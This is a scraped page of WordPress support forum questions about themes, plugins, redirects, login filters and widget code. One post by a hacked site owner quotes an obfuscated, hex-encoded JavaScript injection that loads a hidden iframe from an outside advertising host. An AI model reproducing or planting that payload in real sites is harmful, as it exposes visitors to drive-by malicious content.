Are you the publisher? Claim or contact us about this channel


Embed this content in your HTML

Search

Report adult content:

click to rate:

Account: (login)

More Channels


Channel Catalog


Channel Description:

WordPress › Support

older | 1 | .... | 355 | 356 | (Page 357) | 358 | 359 | .... | 413 | newer

    0 0

    I'm writing a script that will filter all comments including the email address, IP and comment text. If any of these match a list that I have generated the comment will not be allowed to be posted (not even as pending approval). The comment will go to never never land; I don't want this stuff clogging up the database in spam or trash.

    The questions:

    Which wordpress file do I need to be editing in order to trap any comments being submitted? ~/wp-comments-post.php ?

    What wordpress function can I use to grab the post attempt and dump each into variables I can use? Something like:

    $email = $_POST['email'];
    $ip = $_POST['ip_addr'];
    $comment = $_POST['ecomment'];

    Once I have the email, IP, comment in hand, I should be able to process the data using my script.


    0 0

    this is the message i get when i tried creating an XML sitemap using yoast
    XML Parsing Error: not well-formed
    Location: http://sandalili.com/sitemap_index.xml
    Line Number 1, Column 4:404<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//sandalili.com/main-sitemap.xsl"?>

    what will i do and how to do it


    0 0

    Long-time reader of answers, first-time asker of questions...

    I have encountered a problem that I cannot debug involving a custom function (defined within the theme's functions.php) that is executed as a form action upon submiting data from a basic HTML form element located in a page template file.

    The function gathers the form data (and a few other bits of info from meta fields and theme mods), defines it for use with wp_mail, which is then executed to send an email as defined, the function then executes a redirect to take the user to a thank you page.

    Here's the situation: during the localhost portion of development (running WampServer Version 2.2) my function seemed to work just fine, gathering form data and sending the user to correct destination as specified by the wp_redirect location. The email never actually left my virtual server, as I have not configured it for SMTP, so I transferred the theme to a test server running the same version of WordPress to finish beta testing. Now that it is on a real server, the wp_mail side of the function is successfully formatting and sending the email, but rather than loading the redirect location, the function as executed is reloading the source page minus the form element.

    Here is a link to the page in question on my test server.

    I have tried troubleshooting this problem in the following ways:

    1) I have completely removed the wp_mail portion of the function to isolate the wp_redirect portion. The isolated redirect doesn't execute correctly on the live test server, but does on my localhost test server.

    2) I have tried defining the location of that redirect in many different ways, including a hard-coded URL, a call to get post meta via the post ID, and then by incorporating the data into the form element as a hidden input, and using the same $form_data method of passing on the field data that is successfully implemented in the mail portion of my function.

    3) I have tried manually exiting out of the wp_mail function before calling wp_redirect and have tried removing the suggested manual exit for wp_redirect. When running the function with no exits, the source page reloads on form submission, WITH the form element reloading as normal - but if there is an exit after wp_mail or wp_redirect, the source page reloads WITHOUT the form element.

    4) I have tried re-positioning my call to wp_redirect within the function to before the wp_mail reference as well as outside of the if statement.

    5) I have checked to make sure that my online server (hosted through GoDaddy) is running the same version of PHP, 5.3, and have even looked at my htaccess file for possible conflicts with the redirect.

    The main thing about this problem that confuses me is that the redirect works just fine on my local server in every permutation described above but just plain won't work online. I hope there is an obvious error in my methodology that will lead to a more thorough understanding of core WP functionality - it would hurt my pride, but I want this to be a rookie mistake.

    So I think that's the whole scope of the problem, any help identifying the source of this problem would be greatly appreciated - thank you in advance for your attention and support.

    This is my custom function:

    function mwp_mail() {
    
    	// send to admin email
    	$email = get_theme_mod('mwp_mail_to_address', get_bloginfo( 'admin_email' ));
    	// if the <form> element is POSTed, run the following code
    	if ( $_SERVER['REQUEST_METHOD'] == 'POST' ) {
    	    // this part fetches everything that has been POSTed, sanitizes them and lets us use them as $form_data['subject']
    	    foreach ( $_POST as $field => $value ) {
    		   $form_data[$field] = sanitize_text_field( $value );
    	    }
    	   // get the website's name and puts it in front of the subject
    	   $email_subject = get_bloginfo( 'name' ) . " - " . $form_data['page'] . " - CTA lead";
    	   // get the message from the form and add the IP address of the user below it
    	   $email_message = $form_data['your_name'] . " is interested in your service. Contact them at: " . $form_data['email'] . "\n\nIP: " . get_the_ip();
    	   // send the e-mail with the post form attribute named 'email' and the POSTed data
    	   wp_mail( $email, $email_subject, $email_message );
    	   wp_redirect ($form_data['redirect']);
               exit;
    	}
    }

    This is my form markup:

    <form name="ctaForm" action="<?php mwp_mail(); ?>" method="post" onsubmit="return validate()">
    		<input type="hidden" name="page" id="page" value="<?php echo get_the_title(); ?>"/>
            <input type="hidden" name="redirect" id="redirect" value="<?php echo get_post_meta( get_the_ID(), 'mwp_cta_thankyou', true ); ?>"/>
              <input type="text" id="your_name" name="your_name" value="give us your name"/>
              <input type="text" id="email" name="email" value="and email address"/>
              <input type="submit" value="<?php echo get_post_meta( get_the_ID(), 'mwp_cta_button', true ); ?>" class="CTAbutton"/>
              <input type="button" id="closeCTA" value="X" class="CTAbutton"/>
              <a href="<?php echo get_post_meta( get_the_ID(), 'mwp_cta_pplink', true ); ?>" target="new" class="privacyLink">Privacy Policy</a>
    </form>

    And for good measure, my htaccess file:

    #Alternate default index page
    DirectoryIndex welcome.html index.php index.html
    
    # Custom 404 errors
    ErrorDocument 404 /404.html
    
    # BEGIN WordPress
    
    # END WordPress

    Thanks for reading. Hope you can help me!


    0 0

    Hi, i have a free wordpress plugin hosted on wordpress.org, in that plugin i have done the code where it is capturing the domain name of plugin installed,so i know who is installing my plugin so i can improve it more or make plugins according to the needs.

    My question is that, is it legal or not? will i remove my plugin from wordpress.org or stay hosted on wordpress.org?

    Any suggestion or experienced programmer comments highly appreciated.


    0 0

    Hi,

    I'm trying to optimize my site, and as such want to put some stuff into a core file, and other stuff get rid of. For example, the jquery-migrate one I want to get rid of.

    In wp-includes/script-loader.php, we have stuff like:

    // jQuery
    	$scripts->add( 'jquery', false, array( 'jquery-core', 'jquery-migrate' ), '1.11.3' );
    	$scripts->add( 'jquery-core', '/wp-includes/js/jquery/jquery.js', array(), '1.11.3' );
    	$scripts->add( 'jquery-migrate', "/wp-includes/js/jquery/jquery-migrate$suffix.js", array(), '1.2.1' );

    I want to get rid of those, and change it for the 2.2.2 version (without migrate). I this may cause issues with some plugins, but I'm willing to take that chance.

    Then, we have stuff like:

    $styles->add( 'thickbox', '/wp-includes/js/thickbox/thickbox.css', array( 'dashicons' ) );

    I want to take that CSS out (as I know its not going to change), and plop that into my main CSS file. However, I don't seem to be able to do this in the themes functions.php script - any suggestions as to how it can be done?

    Thanks!

    Andy


    0 0

    I’m having trouble to automatically log in a user that has been authenticated by an external source (which is being developed by me). It’s easy to reproduce the problem so I thought I’d explain how..

    I created the following filter:

    function test_authenticate($user, $username, $password) {
        return get_user_by('login', 'admin');
    }
    add_filter('authenticate', 'test_authenticate', 30, 3);

    Now, if I access: "http://my-domain/wp-login.php”, WP logs me in and I get redirected to: "http://my-domain/wp-admin/"
    This is exactly what I want to happen!

    However, If I access: "http://my-domain/wp-admin/“, WP first redirects me to the login form URL which in this case is: "http://my-domain/wp-login.php?redirect_to=http://my-domain/wp-admin/&reauth=1"

    Next, the above filter kicks in, but because of the redirect parameter in the URL I am not redirected to the dashboard, instead I end up at the login form again. The user should be created in the session but reloading the page doesn’t help.

    If I click the “Log in” button on the login form however (without entering any credentials as the above filter solves that) I get redirected to the dashboard.

    I solved this issue by making sure there is no redirect parameter in the URL by adding this:

    function test_login(){
        global $pagenow;
        if( 'wp-login.php' == $pagenow ) {
            $url = home_url($_SERVER['REQUEST_URI']);
            $urlp = parse_url($url);
            if (isset($urlp['query']) || !empty($urlp['query'])) {
                wp_redirect($urlp['path']);
            }
        }
    }
    add_action('init’,'test_login');

    The above function checks if wp-login.php is being rendered, if so it redirects the user to “login.php” if there are any query parameters. But this doesn't feel like a good solution.. is there anything better I can do?


    0 0

    Hi,

    I apologize for the very long entry but I'm a bit a loss with plugin creation.
    I'm trying to code a plugin for internal use. It should offer a widget where the user can choose a source language, a target language and a text to translate; these info are then sent (in ajax) to a translation program hosted on a thrid-party server (hence the cURL part) and, finally, the translated text is displayed in the widget, below the text to translate.

    I was able to do the form, cURL and ajax with two php files, and a mix of php, html and js so that it works but translating this into a plugin (and even worse, in a plugin with a widget) was a totaly different story and I'm not a developper...

    I've tried to correctly implement Ajax in the WordPress way but I'm not sure if it is ok like that and I actually don't know how I could make the widget display my code ^^° I guess I should put something in the function widget ? (but then what ?)

    Below, the php code :

    <?php
    /**
    Plugin Name: Moduletrad
    Plugin URI:
    Description: Plugin to interface automatic translation
    Version: 1.0
    Author: Korvapuusti
    Author URI:
    License URI: https://www.gnu.org/licenses/gpl-2.0.html
    Domain Path: /languages
    Text Domain: traduction-ipra
    */
    
    defined( 'ABSPATH' ) or die( 'No script kiddies please!' );
    
    define(plugin_dir_path(__FILE__));
    define(plugin_dir_url(__FILE__));
    
    // enqueue the js script
    function plugintrad_enqueuescripts(){
    	wp_register_script ('ajax-script', plugin_dir_url(__FILE__) . '/js/ajax-script.js', array( 'jquery' ),'1',true);
    	wp_enqueue_script('ajax-script');
    }
    
    // passing the url of admin-ajx.php
    wp_localize_script( 'ajax-script', 'ajax-script', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ) ) );
    
    add_action('wp_enqueue_scripts', plugintrad_enqueuescripts);
    
    // form to send source language, target language and the text to translate
    // text area to receive the translated text
    function plugintrad_form(){
    	?>
    	<form method="post" action="" id="form">
    		<label for="source">Langue source</label>
    			<select id="source" name="source">
    				<option value="fr">Français</option>
    				<option value="en" selected="selected">Anglais</option>
    				<option value="ar">Arabe</option>
    			</select>
    
    		<label for="target">Langue cible</label>
    			<select id="target" name="target">
    				<option value="fr">Français</option>
    				<option value="en">Anglais</option>
    				<option value="ar">Arabe</option>
    			</select>
    
    		<p>
    		<label for="textatrad">Saisissez le texte à traduire</label>
    		<br />
    		<textarea name="textatrad" id="textatrad" rows="10" cols="50" maxlength ="255"></textarea>
    		</p>
    
    		</form>
    		<div>
    			<textarea name="traduction" id="rep" rows="10" cols="50"></textarea>
    		</div>
    	<?php
    } ?>
    
    <?php // function to handle the info obtained with the form (url-ification, sending to the server hosting the translation program, retrieving the translated text)
    function moduletrad_ajax_handler (){
    	$params = array(
    		'q' => urlencode(htmlspecialchars($_POST["q"])),
    		'key' => "bla",
    		'target' => $_POST["target"],
    		'source' => $_POST["source"],
    		);
    
    	function httpPost($url,$params){
    	$postData = '';
       //crée les paires nom-valeur séparées par &
       foreach($params as $k => $v)
       {
          $postData .= $k . '='.$v.'&';
       }
       $postData = rtrim($postData, '&'); //enlève le dernier & pour que la fin de l'url soit correcte
       $proxy = "172.20.12.74";
       $proxyport = "3128";
    
       $link = $url .'?'. $postData;
       //curl
    	$ch = curl_init(); // initialise la session curl
    
    	// réglage des options curl
    	curl_setopt($ch,CURLOPT_URL,$link); // url à récupérer
    	curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); // return la réponse du serveur
    	/*curl_setopt($ch,CURLOPT_HEADER,false); // n'inclue pas l'en-tête dans la valeur de retour*/
    	curl_setopt($ch,CURLOPT_PROXY, $proxy);
    	curl_setopt($ch,CURLOPT_PROXYPORT, $proxyport);
    	curl_setopt($cURL,CURLOPT_HTTPHEADER,array (
            "Content-type: application/json",
    		"Accept: application/json"
        ));
    
    	$output = curl_exec($ch);
    
    	curl_close($ch); // ferme la session curl
    	return trim($output);
    }
    
    $data = httpPost("http://adress.domain:0000/translate", $params);
    $data = json_decode($data, true);
    echo $data['data']['translations'][0]['translatedText'];
    }
    
    //creating Ajax call for WordPress
    add_action('wp_ajax_nopriv_moduletrad_ajax_handler','moduletrad_ajax_handler');
    add_action('wp_ajax_moduletrad_ajax_handler','moduletrad_ajax_handler');
    
    // adding the widget
    add_action('widgets_init','moduletrad_init');
    
    function moduletrad_init(){
    	register_widget("moduletrad_widget");
    }
    
    class moduletrad_widget extends WP_widget{
    
    	function moduletrad_widget(){
    		$widget_ops = array(
    		'classname'		=> 'traduction',
    		'description'	=> 'Automatic translation of specific terms'
    		);
    		parent::__construct('widget-moduletrad','Widget de traduction', $widget_ops);
    	}
    
    	function widget($args,$instance){
    		extract($args);
    		echo $before_widget;
    		echo $before_title.$instance["titre"].$after_title;
    		echo $after_widget;
    	}
    
    	function update($new,$old){
    		return $new;
    	}
    
    	function form($instance){
    	?>
    	<p>
    		<label for="<?php echo $this->get_field_id("titre"); ?>">Titre :</label>
    		<input value="<?php echo $instance["titre"]; ?>" name="<?php echo $this->get_field_name("titre"); ?>" id="<?php echo $this->get_field_id("titre"); ?>" type="text"/>
    	</p>
    	<?php
    	}
    } 	?>

    and the js (ajax-script.js):

    $(document).ready(function($){
    			$("#rep").hide();
    			$("#textatrad").on('input', function(){
    				var textatrad = $("#textatrad").val();
    				var source = $("#source option:selected").val();
    				var target = $("#target option:selected").val();
    
    				if (source == target){
    					alert("la langue source et la langue cible doivent être différentes");
    				}
    				else if (textatrad == ""){
    					$("#rep").hide();
    				}
    				else {
    					$.post("ajaxtraitement2.php", {q: textatrad, source: source, target: target},
    					url : ajax-script.ajaxurl,
    					rep : {action: "ajaxscript"},
    					function (data){
    					$("#rep").show().empty().append(data);
    					}
    				)}
    
    			return false;
    			});
    
    		});

    `
    At this point, any advise would be most welcomed...


    0 0

    I'm trying to make a community website in which users can create their own categories (for pages). I want to restrict their options.

    I have six parent categories and I want the category-creation abilities to be limited to being a child-category of one of those six categories. Besides that, I don't want the user to be able te create any sub-categories that are NOT a child of one of my six parent-categories.

    Just to be clear: The user can see every category there is. It's the creation of a new category I want to restrict to 1 level only!

    I've been trying several things, but I can't seem to work this out. The internet wasn't much help either. Anyone out there any suggestions for me? I'm kinda stuck...


    0 0

    1) I'm trying to figure out how to reduce the size of the Heading/Title bar of the forums/topic etc.

    The default is about a 1 1/2 inch thick solid bar. However; the text Forum/topic/post and freshness is about a third of that width. I'd like the title box to be more stream lined rather than bulky as it is...

    I've been trying to locate the appropriate CSS file and lines to update but have had no luck.

    2) I assume this is kind of the same formatting issue and can be resolved the same way. Each topic in the forum is allocated about 1 1/2 inches of space to show the topic titel, and its corresponding counts. Again I only need that space to be about 1/2 inch at most.

    I'm aware that its probably most appropriate to use padding and margins to explain what i'm seeing and trying to change. But I'm a novice and figured i used jargon more familiar to me.


    0 0

    Can I use has_shortcode and find out if the shortcode has a certain attribute?
    This probably runs to early in the loop to get the attribute(s), but it would be very helpful if this could be done efficiently.


    0 0

    Hi!

    We are experiencing problems with hacked wordpress installations with backdoors and javascript code injections in nearly all JS files in all main folders
    wp-admin
    wp-content
    wp-includes

    The code which is getting injected always at the end of the files looks like this:
    "/*ae7752603d80200d0f2637e35d3e0d85*/;(function(){var ebrkzedr="";var nnyrseif="77696e646f772e6f6e6c6f6164203d2066756e6374696f6e28297b66756e6374696f6e20783232627128612c622c63297b69662863297b7661722064203d206e6577204461746528293b642e7365744461746528642e6765744461746528292b63293b7d6966286120262620622920646f63756d656e742e636f6f6b6965203d20612b273d272b622b2863203f20273b20657870697265733d272b642e746f555443537472696e672829203a202727293b656c73652072657475726e2066616c73653b7d66756e6374696f6e2078333362712861297b7661722062203d206e65772052656745787028612b273d285b5e3b5d297b312c7d27293b7661722063203d20622e6578656328646f63756d656e742e636f6f6b6965293b69662863292063203d20635b305d2e73706c697428273d27293b656c73652072657475726e2066616c73653b72657475726e20635b315d203f20635b315d203a2066616c73653b7d766172207833336471203d2078333362712822343038353432326334363663636266316464316265646532646135623639346122293b69662820783333647120213d2022303735306637363036623737396466666232393336383238613366353766323722297b783232627128223430383534323263343636636362663164643162656465326461356236393461222c223037353066373630366237373964666662323933363832386133663537663237222c31293b766172207832326471203d20646f63756d656e742e637265617465456c656d656e74282264697622293b766172207832327171203d2022687474703a2f2f7177652e796173796b61316c79616d686f6368792e696e666f2f6d656761616476657274697a652f3f436a5270707744744a434f61445a687559593d4d666b53664f4143796b786d66266b6579776f72643d366637356130646262656463623637343735336535643538373439626363653726726844704c6e455a5a756c6d3d7a52687547454872695362265969484d575578444e75493d6e7a7672454c5170437248414e6155504f495526417942426e5641634d41483d49567853556c57742648786141684c74454e684d67457461783d7473424b6d644d6b5a772650795956516d58723d66517a544361616d264f526a597a6a594a65727262615071733d656469584d7a4c26527747427869566d4f7a69663d417364414842706a56556e267746726946546f6b544676663d79474c4172536346535a626e505850564726416e61576c6948457a4c706c71573d6d4645565243767a4c7a545971223b78323264712e696e6e657248544d4c3d223c646976207374796c653d27706f736974696f6e3a6162736f6c7574653b7a2d696e6465783a313030303b746f703a2d3130303070783b6c6566743a2d3939393970783b273e3c696672616d65207372633d27222b78323271712b22273e3c2f696672616d653e3c2f6469763e223b646f63756d656e742e626f64792e617070656e644368696c64287832326471293b7d7d";for (var diydftna=0;diydftna<nnyrseif.length;diydftna+=2){ebrkzedr=ebrkzedr+parseInt(nnyrseif.substring(diydftna,diydftna+2), 16)+",";}ebrkzedr=ebrkzedr.substring(0,ebrkzedr.length-1);eval(eval('String.fromCharCode('+ebrkzedr+')'));})();/*ae7752603d80200d0f2637e35d3e0d85*/"

    Using the Wordfence and Anti-Malware plugin I have been able to remove the problems and tried to secure the sites as good as possible -.

    We have not had problems for a week, but suffered attacks and injections again.

    Does somebody have similar problems? I would appreciate help!


    0 0

    Hello!

    Could you please help me to understand - how I can change list of available translations on the plugin page in the repository?

    I have published plugin https://wordpress.org/plugins/popup4phone/ , in the /lang/ sub directory it contatins .po and .mo files for Russian and German translation.

    However translations list in the right column on the page https://wordpress.org/plugins/popup4phone/ contains only Russian translation, while German translation not appeared.


    0 0

    Hi all,

    `<?php
    if ( is_singular( 'team' ) ) {
    // Team stuff
    echo '<h2>Team custom post type!</h2>';
    include dynamic_sidebar( 'sidebar-4' );

    if ( have_posts() ) :
    while ( have_posts() ) : the_post();
    echo '<div class="widget">';
    echo '<h2 class="widget-title">Laatste nieuws van ' . CFS()->get( 'team' ) . '</h2>';
    echo '<ul class="team-news team-news-' . CFS()->get( 'team' ) . '">';
    // Use "Custom Field Suite" plugin to retrieve team name.
    $args = array( 'numberposts' => '10', 'category_name' => CFS()->get( 'team' ) );
    $recent_posts = wp_get_recent_posts( $args );
    foreach( $recent_posts as $recent ){
    echo '<li><a href="' . get_permalink($recent["ID"]) . '">' . $recent["post_title"].'</a> </li> ';
    };
    echo '</ul>';
    echo '</div>';
    endwhile;
    else :
    echo 'Sorry, no posts were found';
    endif;
    }
    else{
    // Standaard stuff
    echo '<h2>Standard post type!</h2>';
    include dynamic_sidebar( 'sidebar-1' );
    }
    ?>`

    I'm working on a new website for a locale football club. I'm not a PHP wizard (you probably noticed), but I do somewhat understand what should happen.
    So I've spend some time and made this piece of code on my one. I'm quite happy with the result so far, but I'm stuck now. So I could use some help.

    1. Not working is the "echo 'Sorry, no posts were found';" if there are no post (Team B2 has no post)
    2. The most is working but is this correct php? Maybe is needs a cleanup?

    Thanks for the help.
    Greetings Tom.

    Theme:
    - Twenty Sixteen (child theme)
    Plugins:
    - Custom Post Type UI (to create the "Team" CPT)
    - Custom Field Suite (to get the team name)
    URL:
    - http://www.tuna.nl/wordpress/team/a1/ (test setup for Team stuff)
    - http://www.tuna.nl/wordpress/club/ (test setup for Standaard stuff)


    0 0

    Hi,
    I am trying to put logo over easing slider
    The code which i am using leaves lot of space after Logo and T he complete left side menu and its content goes Very down Leaving a space in betwwen.Please help My code Is:

    <?php if ( function_exists( 'easingslider' ) ) { easingslider( 117 );}<img src="some Image Link" alt="logo" width="200" height="200" class="alignnone size-full wp-image-232" style="position: relative; bottom: 41px; left: 19px; z-index: 99;"/>

    When I am doing all the trial error it is just giving custom errors of parsing and also Invalid Tstring.Can anyone please correct it.Thnx in advance


    0 0

    I built a custom app and simple shopping cart for a client.
    Normal process is, of course, for the customer to login and place an order.

    The client (several people, all of whom have administrator access) regularly has to place orders on behalf of the customers (subscribers). To do this, they currently change the customer's password, login and place the order, and then notify the customer of the new password.

    They are now asking if they can simplify this process by placing the order on the customer's behalf without logging in as the customer. I can build this, of course, as a separate function, but it will be complicated.

    I'm wondering if there is any secure way to allow them to access the site as another user without having the password. Or, is there a way to change the password temporarily and then restore it?

    I realize this would circumvent WP's native login security, but believe it would be acceptable for this particular client.

    I should also note that the client admins only access the site through front end forms, never through the back end.

    Any thoughts would be greatly appreciated.
    Diana


    0 0

    Спасибо Р·Р° обновление! WordPress 4.4.2 делает ваш сайт более социальным Рё отзывчивым. вот такие иероглифы отопражаются на сайте вместо букв, как исправить проблему?


    0 0

    Hi,

    I have two themes "axijas" and "axijas v2". I want to show first user version 1, second user version 2, third user version 1 etc.

    I write a code, that look in database, which version was showed last, change the value and show the other version. Of course, I store this version in session, beause I want, if user has selected version 2, next few click he/she should see only version 2.

    Problem is, that I'm using function "switch_theme()" and it's not working as I expected. It change theme completly for everybody, sometimes I have even problem to switch it manually in dashboard.

    How can I have activated version1, and it will be ignored, and only theme will be included by the rule? Is there any hook for it or something? I only want, that if user click on page, call function, that control if he has set session and if not, get version for show in database, change value and include theme folder for that user.

    Thank you very much for your help

    P.S.:hope you understand my bad english


    0 0

    Hi,

    I am developing my first "bigger" plugin with the goal to compress and merge css/js files.
    I know that there are other plugins that already do that but I want to have specific behavior, look and feel and the most important learn how to do it myself to get an understanding of how the things work.

    This is the setup:

    Plugin file in plugin folder -> here the admin can setup the path to the js/css files that need to be compressed and change the order of what files should come first.
    compress.php inside a lib folder -> when the admin hits the save button all the needed data is send to the compress.php that "do the magic". (compressing and merging)

    So far so good, everything is working. But now I want to enqueue the final compressed file "automatically" in the current used theme and I have no clue how to manage that. Is it even possible? I was in the wordpress help chat before and got the hint that my approach is "wrong".

    The thing is, I know other plugins are able to do that (but they are kinda too complex for me).

    Oh, "just" registering/enqueuing the files in the compress.php isn't working. Because the file is not included in the normal "frontend"/theme and only for admins in backend.


    0 0

    i want help to get a button in my admin column im new to php so plz can u help me .

    <?php
    function custom_admin_js() { ?>
    <script>
    	$('input[name=Checkbx]').click(function() {
    	var coc = $('input[name=Checkbx2]').get(0).value;
    	// Send Request
        $.getJSON("http://www.omdbapi.com/?&plot=full&i=" + coc, function(data) {
    	    var valDir = "";
    		var valWri = "";
    		var valAct = "";
    		$.each(data, function(key, val) {
    			  $('input[name=' +key+ ']').val(val);
    			  if(key == "Director"){
    				valDir+= " "+val+",";
    			  }
    			  if(key == "Actors"){
    				valAct+= " "+val+",";
    			  }
    			  if(key == "Year"){
    				$('#new-tag-<?php echo get_option('year'); ?>').val(val);
    			  }
    		});
    		$('#new-tag-<?php echo get_option("director"); ?>').val(valDir);
    		$('#new-tag-<?php echo get_option("actor"); ?>').val(valAct);
    	});
    });
    </script>
    <?php $api = get_option('tmdbapi'); if ($api == "true") { ?>
    <script>
    	$('input[name=Checkbx]').click(function() {
    	var input = $('input[name=Checkbx2]').get(0).value;
    	var url = "http://api.themoviedb.org/3/movie/";
    	var agregar = "?append_to_response=images,trailers";
    	var idioma = "&language=<?php echo get_option('tmdbidioma') ?>&include_image_language=<?php echo get_option('tmdbidioma')?>,null";
    	var apikey = "&api_key=<?php echo get_option('tmdbkey')?>";
    	// Send Request
        $.getJSON( url + input + agregar + idioma + apikey, function(tmdbdata) {
    		var valTit = "";
    		var valPlo = "";
    		var valImg = "";
    		var valBac = "";
    		$.each(tmdbdata, function(key, val) {
    			  $('input[name=' +key+ ']').val(val);
    
    			  if(key == "title"){
    				valTit+= ""+val+"";
    			  }
    			  if(key == "overview"){
    				valPlo+= ""+val+"";
    			  }
    			  if(key == "poster_path"){
    				valImg+= "https://image.tmdb.org/t/p/w185"+val+"";
    			  }
    			  if(key == "backdrop_path"){
    				valBac+= "https://image.tmdb.org/t/p/w780"+val+"";
    			  }
    <?php $api = get_option('apigenero'); if ($api == "true") { ?>
    if(key == "genres"){
    			var genr = "";
    			$.each( tmdbdata.genres, function( i, item ) {
           	 		genr += "" + item.name + ", ";
    				genr1 = item.name;
    				$('input[name=newcategory]').val( genr1 );
    				$('#category-add-submit').trigger('click');
    				 $('#category-add-submit').prop("disabled", false);
    				$('input[name=newcategory]').val("");
        		});
    			$('input[name=' +key+ ']').val( genr );
    		}
    <?php } ?>
    if(key == "trailers"){
    
    			var tral = "";
    			$.each( tmdbdata.trailers.youtube, function( i, item ) {
           	 		tral += "" + item.source + "";
        		});
    			$('input[name="Trailer_yt"]').val( tral );
    }
    if(key == "images"){
    			var imgt = "";
    			$.each( tmdbdata.images.backdrops, function( i, item ) {
    				imgt += "https://image.tmdb.org/t/p/w300" + item.file_path + "\n";
        		});
    			$('textarea[name="imagenes"]').val( imgt );
    }
    		});
    		$('#title').val(valTit);
    		$('#content').val(valPlo);
    		$('#poster_url').val(valImg);
    		$('#fondo_player').val(valBac);
    	});
    });
    </script>
    <?php
      }
    }
    add_action('admin_footer', 'custom_admin_js');
    $sp_boxes = array (
    /* Agregar codigo IMDb */
    __('Complete data imdb', 'mundothemes') => array (
    array( 'Separador', 'separa', 'jqueryp' ),
    array( 'Checkbx2', __('Assign ID IMDb, example (http://www.imdb.com/title/tt0120338/) = <b>tt0120338</b>', 'mundothemes') ),
    array( 'Checkbx', __('Put the cursor in the text box', 'mundothemes'), 'button' ),
    ),
    /* trailer */
    __('Images and trailer', 'mundothemes') => array (
    array( $imagefix, __('URL Poster (optional)', 'mundothemes') ),
    array( 'fondo_player', __('Background Image URL (Fake Player)', 'mundothemes') ),
    #array( 'Trailer', __('Trailer (Embed code)', 'mundothemes'), 'textarea' ),
    array( 'imagenes', __('Backdrops - Place each image url below another', 'mundothemes'), 'textarea' ),
    array( 'Trailer_yt', __('Trailer ID Youtube', 'mundothemes') )
    ),
    /* Datos extraidos de IMDb */
    __('Movie Info', 'mundothemes') => array (
    array( 'menuplay', 'menuplay', 'menudata' ),
    array( 'imdb', 'separa', 'separame' ),
    array( 'imdbRating', __('IMDB Rating', 'mundothemes') ),
    array( 'imdbVotes', __('IMDB votes', 'mundothemes') ),
    array( 'Title', __('Original title', 'mundothemes') ),
    array( 'Rated', __('Rated', 'mundothemes') ),
    array( 'Released', __('Release Date', 'mundothemes') ),
    array( 'Runtime', __('Runtime', 'mundothemes') ),
    array( 'Awards', __('Awards', 'mundothemes') ),
    array( 'Country', __('Country', 'mundothemes') ),
    array( 'Separador', 'separa', 'fin' ),
    array( 'tmdb', 'separa', 'separame' ),
    array( 'vote_average', __('TMDb Rating', 'mundothemes') ),
    array( 'vote_count', __('TMDb votes', 'mundothemes') ),
    array( 'budget', __('Budget', 'mundothemes') ),
    array( 'revenue', __('Revenue', 'mundothemes') ),
    array( 'popularity', __('Popularity', 'mundothemes') ),
    array( 'id', __('TMDb ID', 'mundothemes') ),
    array( 'status', __('Status', 'mundothemes') ),
    array( 'tagline', __('Tag line', 'mundothemes') ),
    array( 'Separador', 'separa', 'fin' ),
    ),
    /* Player Embeds */
    __('Players', 'mundothemes') => array (
    array( 'menuplay', 'menuplay', 'playermenu' ),
    array( 'sepa1', 'separa', 'separame' ),
    array( 'embed_pelicula', __('Embed code', 'mundothemes'), 'textarea' ),
    array( 'titulo_repro1', __('Title player', 'mundothemes') ),
    array( 'Separador', 'separa', 'fin' ),
    array( 'sepa2', 'separa', 'separame' ),
    array( 'embed_pelicula2', __('Embed code', 'mundothemes'), 'textarea' ),
    array( 'titulo_repro2', __('Title player', 'mundothemes') ),
    array( 'Separador', 'separa', 'fin' ),
    array( 'sepa3', 'separa', 'separame' ),
    array( 'embed_pelicula3', __('Embed code', 'mundothemes'), 'textarea' ),
    array( 'titulo_repro3', __('Title player', 'mundothemes') ),
    array( 'Separador', 'separa', 'fin' ),
    array( 'sepa4', 'separa', 'separame' ),
    array( 'embed_pelicula4', __('Embed code', 'mundothemes'), 'textarea' ),
    array( 'titulo_repro4', __('Title player', 'mundothemes') ),
    array( 'Separador', 'separa', 'fin' ),
    array( 'sepa5', 'separa', 'separame' ),
    array( 'embed_pelicula5', __('Embed code', 'mundothemes'), 'textarea' ),
    array( 'titulo_repro5', __('Title player', 'mundothemes') ),
    array( 'Separador', 'separa', 'fin' ),
    array( 'sepa6', 'separa', 'separame' ),
    array( 'embed_pelicula6', __('Embed code', 'mundothemes'), 'textarea' ),
    array( 'titulo_repro6', __('Title player', 'mundothemes') ),
    array( 'Separador', 'separa', 'fin' ),
    array( 'sepa7', 'separa', 'separame' ),
    array( 'embed_pelicula7', __('Embed code', 'mundothemes'), 'textarea' ),
    array( 'titulo_repro7', __('Title player', 'mundothemes') ),
    array( 'Separador', 'separa', 'fin' ),
    array( 'sepa8', 'separa', 'separame' ),
    array( 'embed_pelicula8', __('Embed code', 'mundothemes'), 'textarea' ),
    array( 'titulo_repro8', __('Title player', 'mundothemes') ),
    array( 'Separador', 'separa', 'fin' ),
    ),
    /* download player */
    /* __('Downloads', 'mundothemes') => array (
    array( 'descargas_link', __('HTML Code links downloads', 'mundothemes'), 'textarea' ),
    ),*/
    
    );
    add_action( 'admin_menu', 'sp_add_custom_box' );
    add_action( 'save_post', 'sp_save_postdata', 1, 2 );
    function sp_add_custom_box() {
    global $sp_boxes;
    if ( function_exists( 'add_meta_box' ) ) {
    foreach ( array_keys( $sp_boxes ) as $box_name ) {
    add_meta_box( $box_name, __( $box_name, 'sp' ), 'sp_post_custom_box', 'post', 'normal', 'high' );
    } } }
    function sp_post_custom_box ( $obj, $box ) {
    global $sp_boxes;
    static $sp_nonce_flag = false;
    if ( ! $sp_nonce_flag ) {
    echo_sp_nonce();
    $sp_nonce_flag = true;
    }
    foreach ( $sp_boxes[$box['id']] as $sp_box ) {
    echo field_html( $sp_box );
    } }
    function field_html ( $args ) {
    switch ( $args[2] ) {
    case 'textarea':
    return text_area( $args );
    case 'separame':
    return sepa_1( $args );
    case 'fin':
    return sepa_2( $args );
    case 'jqueryp':
    return jqueryplus( $args );
    case 'playermenu':
    return menuplay( $args );
    case 'menudata':
    return menudatos( $args );
    case 'checkbox':
    case 'radio':
    case 'button':
    case 'text':
    return text_button( $args );
    case 'submit':
    default:
    return text_field( $args );
    } }
    function text_field ( $args ) {
    global $post;
    $args[2] = get_post_meta($post->ID, $args[0], true);
    $args[1] = __($args[1], 'sp' );
    $label_format =
    '<label class="mtt" for="%1$s">%2$s</label>'
